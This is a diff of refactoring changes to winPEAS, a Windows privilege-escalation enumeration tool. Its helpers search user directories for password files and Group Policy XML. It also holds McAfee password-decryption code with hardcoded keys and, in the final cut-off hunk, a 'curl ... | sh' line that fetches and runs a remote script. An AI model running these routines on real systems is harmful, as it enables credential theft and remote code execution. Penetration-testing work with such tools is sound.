using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -353,8 +353,6 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
||||
if (string.IsNullOrEmpty(results[path]))
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
foreach (string d in Directory.EnumerateDirectories(path))
|
||||
{
|
||||
@@ -367,7 +365,6 @@ namespace winPEAS.Helpers
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Access denied to a path
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
internal class ProgressBar : IDisposable, IProgress<double>
|
||||
{
|
||||
private const int blockCount = 10;
|
||||
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
||||
private const string animation = @"|/-\";
|
||||
|
||||
private readonly Timer timer;
|
||||
|
||||
private double currentProgress = 0;
|
||||
private string currentText = string.Empty;
|
||||
private bool disposed = false;
|
||||
private int animationIndex = 0;
|
||||
|
||||
public ProgressBar()
|
||||
{
|
||||
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
||||
}
|
||||
|
||||
public void Report(double value)
|
||||
{
|
||||
// Make sure value is in [0..1] range
|
||||
value = Math.Max(0, Math.Min(1, value));
|
||||
Interlocked.Exchange(ref currentProgress, value);
|
||||
}
|
||||
|
||||
private void TimerHandler(object state)
|
||||
{
|
||||
lock (timer)
|
||||
{
|
||||
if (disposed) return;
|
||||
|
||||
int progressBlockCount = (int)(currentProgress * blockCount);
|
||||
int percent = (int)(currentProgress * 100);
|
||||
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
||||
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
||||
percent,
|
||||
animation[animationIndex++ % animation.Length]);
|
||||
UpdateText(text);
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateText(string text)
|
||||
{
|
||||
// Get length of common portion
|
||||
int commonPrefixLength = 0;
|
||||
int commonLength = Math.Min(currentText.Length, text.Length);
|
||||
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
||||
{
|
||||
commonPrefixLength++;
|
||||
}
|
||||
|
||||
// Backtrack to the first differing character
|
||||
StringBuilder outputBuilder = new StringBuilder();
|
||||
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
||||
|
||||
// Output new suffix
|
||||
outputBuilder.Append(text.Substring(commonPrefixLength));
|
||||
|
||||
// If the new text is shorter than the old one: delete overlapping characters
|
||||
int overlapCount = currentText.Length - text.Length;
|
||||
if (overlapCount > 0)
|
||||
{
|
||||
outputBuilder.Append(' ', overlapCount);
|
||||
outputBuilder.Append('\b', overlapCount);
|
||||
}
|
||||
|
||||
Console.Write(outputBuilder);
|
||||
currentText = text;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
lock (timer)
|
||||
{
|
||||
disposed = true;
|
||||
UpdateText(string.Empty);
|
||||
timer.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers.Registry
|
||||
{
|
||||
@@ -12,18 +12,6 @@ namespace winPEAS.Helpers.Registry
|
||||
///////////////////////////////////////////
|
||||
/// Functions related to obtain keys and values from the registry
|
||||
/// Some parts adapted from Seatbelt
|
||||
public static Microsoft.Win32.RegistryKey GetReg(string hive, string path)
|
||||
{
|
||||
if (hive == "HKCU")
|
||||
return Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);
|
||||
|
||||
else if (hive == "HKU")
|
||||
return Microsoft.Win32.Registry.Users.OpenSubKey(path);
|
||||
|
||||
else
|
||||
return Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);
|
||||
}
|
||||
|
||||
public static string GetRegValue(string hive, string path, string value)
|
||||
{
|
||||
// returns a single registry value under the specified path in the specified hive (HKLM/HKCU)
|
||||
@@ -177,7 +165,7 @@ namespace winPEAS.Helpers.Registry
|
||||
|
||||
internal static uint? GetDwordValue(string hive, string key, string val)
|
||||
{
|
||||
string strValue = GetRegValue(hive, key, val);
|
||||
string strValue = RegistryHelper.GetRegValue(hive, key, val);
|
||||
|
||||
if (uint.TryParse(strValue, out uint res))
|
||||
{
|
||||
@@ -186,29 +174,5 @@ namespace winPEAS.Helpers.Registry
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static string CheckIfExists(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);
|
||||
if (key != null)
|
||||
return "HKLM";
|
||||
|
||||
key = Microsoft.Win32.Registry.Users.OpenSubKey(path);
|
||||
if (key != null)
|
||||
return "HKU";
|
||||
|
||||
key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);
|
||||
if (key != null)
|
||||
return "HKCU";
|
||||
|
||||
return null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,8 +5,6 @@ using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using FileInfo = Alphaleonis.Win32.Filesystem.FileInfo;
|
||||
using DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo;
|
||||
|
||||
namespace winPEAS.Helpers.Search
|
||||
{
|
||||
@@ -22,150 +20,11 @@ namespace winPEAS.Helpers.Search
|
||||
public static string SystemDrive = Environment.GetEnvironmentVariable("SystemDrive");
|
||||
private static string GlobalPattern = "*";
|
||||
|
||||
public static List<string> StaticExtensions = new List<string>() {
|
||||
// archives
|
||||
".7z", ".tar", ".zip", ".gz",
|
||||
|
||||
// audio/video
|
||||
".avi", ".mp3", ".mp4", ".wav", ".wmf", ".wmv", ".ts", ".pak",
|
||||
|
||||
// icons
|
||||
".ico",
|
||||
|
||||
// fonts
|
||||
".eot", ".fnt", ".fon", ".otf", ".odttf", ".ttc", ".ttf", ".woff", "woff2", "woff3",
|
||||
|
||||
// images
|
||||
".bmp", ".emf", ".gif", ".pm",
|
||||
".jif", ".jfi", ".jfif", ".jpe", ".jpeg", ".jpg",
|
||||
".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp",
|
||||
};
|
||||
|
||||
//public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
||||
//{
|
||||
// ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||
// IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||
// IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||
// IList<string> known_dirs = new List<string>();
|
||||
|
||||
// if (excludedDirs != null)
|
||||
// {
|
||||
// foreach (var startDir in startDirs)
|
||||
// {
|
||||
// bool shouldAdd = true;
|
||||
// string startDirLower = startDir.FullName.ToLower();
|
||||
|
||||
// shouldAdd = !excludedDirs.Contains(startDirLower);
|
||||
|
||||
// if (shouldAdd)
|
||||
// {
|
||||
// startDirsExcluded.Add(startDir);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// startDirsExcluded = startDirs.ToList();
|
||||
// }
|
||||
|
||||
// Parallel.ForEach(startDirsExcluded, (d) =>
|
||||
// {
|
||||
// Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
||||
// {
|
||||
// GetFiles(dir.FullName, pattern).ForEach(
|
||||
// (f) =>
|
||||
// {
|
||||
// if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
// {
|
||||
// // It should always be lesss than 260, but some times it isn't so this will bypass that file
|
||||
// //if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||
// //{
|
||||
// CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||
// files.Add(file_info);
|
||||
|
||||
// CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
||||
// if (!known_dirs.Contains(file_dir.FullPath))
|
||||
// {
|
||||
// known_dirs.Add(file_dir.FullPath);
|
||||
// files.Add(file_dir);
|
||||
// }
|
||||
// //}
|
||||
// //else if (f.FullName.Length > 260)
|
||||
// //Beaprint.LongPathWarning(f.FullName);
|
||||
// }
|
||||
// }
|
||||
// );
|
||||
// });
|
||||
// });
|
||||
|
||||
// return files.ToList();
|
||||
//}
|
||||
|
||||
//private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||
//{
|
||||
// DirectoryInfo dirInfo;
|
||||
// DirectoryInfo[] directories;
|
||||
// try
|
||||
// {
|
||||
// dirInfo = new DirectoryInfo(folder);
|
||||
// directories = dirInfo.GetDirectories();
|
||||
|
||||
// if (directories.Length == 0)
|
||||
// {
|
||||
// return new List<FileInfo>(dirInfo.GetFiles(pattern));
|
||||
// }
|
||||
// }
|
||||
// catch (UnauthorizedAccessException)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
// catch (PathTooLongException)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
// catch (DirectoryNotFoundException)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
// catch (Exception)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
|
||||
// List<FileInfo> result = new List<FileInfo>();
|
||||
|
||||
// foreach (var d in directories)
|
||||
// {
|
||||
// result.AddRange(GetFiles(d.FullName, pattern));
|
||||
// }
|
||||
|
||||
// try
|
||||
// {
|
||||
// result.AddRange(dirInfo.GetFiles(pattern));
|
||||
// }
|
||||
// catch (UnauthorizedAccessException)
|
||||
// {
|
||||
// }
|
||||
// catch (PathTooLongException)
|
||||
// {
|
||||
// }
|
||||
// catch (DirectoryNotFoundException)
|
||||
// {
|
||||
// }
|
||||
// catch (Exception)
|
||||
// {
|
||||
// }
|
||||
|
||||
// return result;
|
||||
//}
|
||||
|
||||
|
||||
public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
||||
{
|
||||
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||
ConcurrentDictionary<string, byte> known_dirs = new ConcurrentDictionary<string, byte>();
|
||||
|
||||
if (excludedDirs != null)
|
||||
{
|
||||
@@ -189,27 +48,18 @@ namespace winPEAS.Helpers.Search
|
||||
|
||||
Parallel.ForEach(startDirsExcluded, (d) =>
|
||||
{
|
||||
var foundFiles = GetFiles(d.FullName, pattern);
|
||||
foreach (var f in foundFiles)
|
||||
Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
||||
{
|
||||
if (f != null && !StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
{
|
||||
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||
files.Add(file_info);
|
||||
|
||||
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
||||
if (known_dirs.TryAdd(file_dir.FullPath, 0))
|
||||
{
|
||||
files.Add(file_dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
GetFiles(dir.FullName, pattern).ForEach(
|
||||
(f) =>
|
||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, false))
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
return files.ToList();
|
||||
}
|
||||
|
||||
|
||||
private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||
{
|
||||
DirectoryInfo dirInfo;
|
||||
@@ -241,22 +91,16 @@ namespace winPEAS.Helpers.Search
|
||||
return new List<FileInfo>();
|
||||
}
|
||||
|
||||
ConcurrentBag<FileInfo> result = new ConcurrentBag<FileInfo>();
|
||||
List<FileInfo> result = new List<FileInfo>();
|
||||
|
||||
Parallel.ForEach(directories, (d) =>
|
||||
foreach (var d in directories)
|
||||
{
|
||||
foreach (var file in GetFiles(d.FullName, pattern))
|
||||
{
|
||||
result.Add(file);
|
||||
result.AddRange(GetFiles(d.FullName, pattern));
|
||||
}
|
||||
});
|
||||
|
||||
try
|
||||
{
|
||||
foreach (var file in dirInfo.GetFiles(pattern))
|
||||
{
|
||||
result.Add(file);
|
||||
}
|
||||
result.AddRange(dirInfo.GetFiles(pattern));
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
@@ -271,7 +115,7 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
}
|
||||
|
||||
return result.ToList();
|
||||
return result;
|
||||
}
|
||||
|
||||
private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false)
|
||||
@@ -288,24 +132,13 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
foreach (var directory in directories)
|
||||
{
|
||||
if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260)
|
||||
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
|
||||
|
||||
else if (directory.FullName.Length > 260)
|
||||
Beaprint.LongPathWarning(directory.FullName);
|
||||
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, true));
|
||||
}
|
||||
}
|
||||
|
||||
foreach (var f in dirInfo.GetFiles(pattern))
|
||||
{
|
||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
{
|
||||
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
|
||||
|
||||
else if (f.FullName.Length > 260)
|
||||
Beaprint.LongPathWarning(f.FullName);
|
||||
}
|
||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, false));
|
||||
}
|
||||
|
||||
if (directories.Length > 1) return new List<DirectoryInfo>(directories);
|
||||
@@ -338,43 +171,44 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
// c:\users
|
||||
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
||||
RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\users\current_user
|
||||
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||
RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern);
|
||||
|
||||
// c:\Program Files\
|
||||
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
||||
ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern);
|
||||
|
||||
// c:\Program Files (x86)\
|
||||
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
||||
ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern);
|
||||
|
||||
// c:\Documents and Settings\
|
||||
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
||||
DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern);
|
||||
|
||||
// c:\ProgramData\Microsoft\Group Policy\History
|
||||
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
||||
GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern);
|
||||
|
||||
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
||||
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
||||
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
||||
var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||
GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern);
|
||||
|
||||
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||
}
|
||||
|
||||
internal static void CleanLists()
|
||||
{
|
||||
RootDirUsers = null;
|
||||
RootDirCurrentUser = null;
|
||||
ProgramFiles = null;
|
||||
ProgramFilesX86 = null;
|
||||
DocumentsAndSettings = null;
|
||||
GroupPolicyHistory = null;
|
||||
SearchHelper.RootDirUsers = null;
|
||||
SearchHelper.RootDirCurrentUser = null;
|
||||
SearchHelper.ProgramFiles = null;
|
||||
SearchHelper.ProgramFilesX86 = null;
|
||||
SearchHelper.DocumentsAndSettings = null;
|
||||
SearchHelper.GroupPolicyHistory = null;
|
||||
|
||||
GC.Collect();
|
||||
}
|
||||
@@ -387,7 +221,7 @@ namespace winPEAS.Helpers.Search
|
||||
".*password.*"
|
||||
};
|
||||
|
||||
foreach (var file in RootDirUsers)
|
||||
foreach (var file in SearchHelper.RootDirUsers)
|
||||
{
|
||||
//string extLower = file.Extension.ToLower();
|
||||
|
||||
@@ -414,7 +248,7 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
var result = new List<string>();
|
||||
|
||||
foreach (var file in RootDirCurrentUser)
|
||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -454,7 +288,7 @@ namespace winPEAS.Helpers.Search
|
||||
".xml"
|
||||
};
|
||||
|
||||
foreach (var file in GroupPolicyHistory)
|
||||
foreach (var file in SearchHelper.GroupPolicyHistory)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -478,14 +312,14 @@ namespace winPEAS.Helpers.Search
|
||||
};
|
||||
|
||||
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
||||
var programData = GetFilesFast(programDataPath, GlobalPattern);
|
||||
var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern);
|
||||
|
||||
var searchFiles = new List<CustomFileInfo>();
|
||||
searchFiles.AddRange(ProgramFiles);
|
||||
searchFiles.AddRange(ProgramFilesX86);
|
||||
searchFiles.AddRange(SearchHelper.ProgramFiles);
|
||||
searchFiles.AddRange(SearchHelper.ProgramFilesX86);
|
||||
searchFiles.AddRange(programData);
|
||||
searchFiles.AddRange(DocumentsAndSettings);
|
||||
searchFiles.AddRange(RootDirUsers);
|
||||
searchFiles.AddRange(SearchHelper.DocumentsAndSettings);
|
||||
searchFiles.AddRange(SearchHelper.RootDirUsers);
|
||||
|
||||
foreach (var file in searchFiles)
|
||||
{
|
||||
@@ -520,7 +354,7 @@ namespace winPEAS.Helpers.Search
|
||||
".pdf",
|
||||
};
|
||||
|
||||
foreach (var file in RootDirCurrentUser)
|
||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -568,7 +402,7 @@ namespace winPEAS.Helpers.Search
|
||||
".pdf",
|
||||
};
|
||||
|
||||
foreach (var file in RootDirUsers)
|
||||
foreach (var file in SearchHelper.RootDirUsers)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
|
||||
@@ -2,25 +2,6 @@
|
||||
|
||||
namespace winPEAS.Helpers.YamlConfig
|
||||
{
|
||||
public class YamlRegexConfig
|
||||
{
|
||||
public class RegularExpressions
|
||||
{
|
||||
public string name { get; set; }
|
||||
public RegularExpression[] regexes { get; set; }
|
||||
public class RegularExpression
|
||||
{
|
||||
public string name { get; set; }
|
||||
public string regex { get; set; }
|
||||
|
||||
public bool caseinsensitive { get; set; }
|
||||
|
||||
public string disable { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
public RegularExpressions[] regular_expresions { get; set; }
|
||||
}
|
||||
public class YamlConfig
|
||||
{
|
||||
|
||||
@@ -43,7 +24,6 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
public bool? remove_empty_lines { get; set; }
|
||||
// public string remove_path { get; set; } // not used in Winpeas
|
||||
public string remove_regex { get; set; }
|
||||
public string remove_path { get; set; }
|
||||
// public string[] search_in { get; set; } // not used in Winpeas
|
||||
public string type { get; set; }
|
||||
public FileParam[] files { get; set; }
|
||||
|
||||
@@ -1,51 +1,16 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Yaml.Serialization;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Linq;
|
||||
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
||||
|
||||
|
||||
namespace winPEAS.Helpers.YamlConfig
|
||||
{
|
||||
internal class YamlConfigHelper
|
||||
{
|
||||
const string REGEXES_FILES = "regexes.yaml";
|
||||
const string SENSITIVE_FILES = "sensitive_files.yaml";
|
||||
|
||||
public static YamlRegexConfig GetRegexesSearchConfig()
|
||||
{
|
||||
var assembly = Assembly.GetExecutingAssembly();
|
||||
var resourceName = assembly.GetManifestResourceNames().Where(i => i.EndsWith(REGEXES_FILES)).FirstOrDefault();
|
||||
|
||||
try
|
||||
{
|
||||
using (Stream stream = assembly.GetManifestResourceStream(resourceName))
|
||||
using (StreamReader reader = new StreamReader(stream))
|
||||
{
|
||||
string configFileContent = reader.ReadToEnd();
|
||||
|
||||
YamlSerializer yamlSerializer = new YamlSerializer();
|
||||
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
|
||||
|
||||
// check
|
||||
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
||||
{
|
||||
throw new System.Exception("No configuration was read");
|
||||
}
|
||||
|
||||
return yamlConfig;
|
||||
|
||||
}
|
||||
}
|
||||
catch (System.Exception e)
|
||||
{
|
||||
Beaprint.PrintException($"An exception occured while parsing regexes.yaml configuration file: {e.Message}");
|
||||
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public static YamlConfig GetWindowsSearchConfig()
|
||||
{
|
||||
var assembly = Assembly.GetExecutingAssembly();
|
||||
@@ -87,7 +52,7 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
}
|
||||
catch (System.Exception e)
|
||||
{
|
||||
Beaprint.PrintException($"An exception occured while parsing sensitive_files.yaml configuration file: {e.Message}");
|
||||
Beaprint.PrintException($"An exception occured while parsing YAML configuration file: {e.Message}");
|
||||
|
||||
throw;
|
||||
}
|
||||
@@ -113,7 +78,6 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
value.only_bad_lines = GetValueOrDefault(value.only_bad_lines, defaults.only_bad_lines);
|
||||
value.remove_empty_lines = GetValueOrDefault(value.remove_empty_lines, defaults.remove_empty_lines);
|
||||
value.remove_regex = GetValueOrDefault(value.remove_regex, defaults.remove_regex);
|
||||
value.remove_path = GetValueOrDefault(value.remove_path, defaults.remove_path);
|
||||
value.type = GetValueOrDefault(value.type, defaults.type).ToLower();
|
||||
|
||||
if (value.files != null)
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
||||
}
|
||||
: new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
|
||||
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -343,8 +343,6 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
usersPath = Directory.GetParent(usersPath).FullName;
|
||||
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(usersPath))
|
||||
{
|
||||
var userDirs = Directory.EnumerateDirectories(usersPath);
|
||||
|
||||
@@ -358,7 +356,6 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
@@ -366,8 +363,6 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
foreach (string path in autorunLocations)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
|
||||
@@ -387,7 +382,6 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
@@ -70,8 +70,6 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(fpath))
|
||||
{
|
||||
foreach (string f in Directory.EnumerateFiles(fpath))
|
||||
{
|
||||
@@ -85,7 +83,6 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint("Error: " + ex);
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.EventsInfo.PowerShell;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
{
|
||||
|
||||
@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
||||
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
||||
|
||||
// xor the input b64 string with the static XOR key
|
||||
var passwordBytes = Convert.FromBase64String(base64password);
|
||||
var passwordBytes = System.Convert.FromBase64String(base64password);
|
||||
for (var i = 0; i < passwordBytes.Length; i++)
|
||||
{
|
||||
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
||||
@@ -135,8 +135,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
||||
|
||||
SHA1 crypto = new SHA1CryptoServiceProvider();
|
||||
|
||||
//var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
||||
byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };
|
||||
var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
||||
|
||||
// set the options we need
|
||||
var tDESalg = new TripleDESCryptoServiceProvider();
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
||||
|
||||
@@ -8,7 +8,7 @@ namespace winPEAS.Info.FilesInfo.WSL
|
||||
{
|
||||
public static void RunLinpeas(string linpeasUrl)
|
||||
{
|
||||
string linpeasCmd = $"curl -L {linpeasUrl} --silent | sh";
|
||||
